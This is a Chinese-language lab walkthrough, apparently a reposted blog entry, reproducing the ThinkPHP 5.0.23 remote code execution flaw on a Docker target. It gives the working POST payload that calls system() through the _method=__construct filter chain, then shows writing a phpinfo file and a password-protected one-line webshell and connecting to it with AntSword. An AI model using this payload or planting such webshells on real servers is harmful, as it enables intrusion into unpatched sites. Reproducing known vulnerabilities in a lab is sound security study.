Thinkphp5.0.23 rce(远程代码执行)

01漏洞形成原因

  • 框架介绍:

ThinkPHP是一款运用极广的PHP开发框架。

  • 漏洞引入:

其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

02漏洞如何利用

  1. 访问靶机地址+端口号 进入首页

  1. bp抓包变更请求为POST,传入参数,其中pwd为系统执行命令可进行一系列操作

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

03漏洞复现过程

centos7启动docker 漏洞环境

Thinkphp5.0.23 rce(远程代码执行)_第1张图片

访问centos7的IP地址接上接上8080端口

Thinkphp5.0.23 rce(远程代码执行)_第2张图片

bp抓包变更请求为POST,传入参数

 /index.php?s=captch   ##URL后接
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd ##传入参数
Thinkphp5.0.23 rce(远程代码执行)_第3张图片

尝试写入phpinfo

echo "" > info.php
Thinkphp5.0.23 rce(远程代码执行)_第4张图片

写入一句话木马

echo '' > shell.php    #密码:aaa
Thinkphp5.0.23 rce(远程代码执行)_第5张图片

蚁剑连接

Thinkphp5.0.23 rce(远程代码执行)_第6张图片

你可能感兴趣的:(thinkphp,安全,web安全)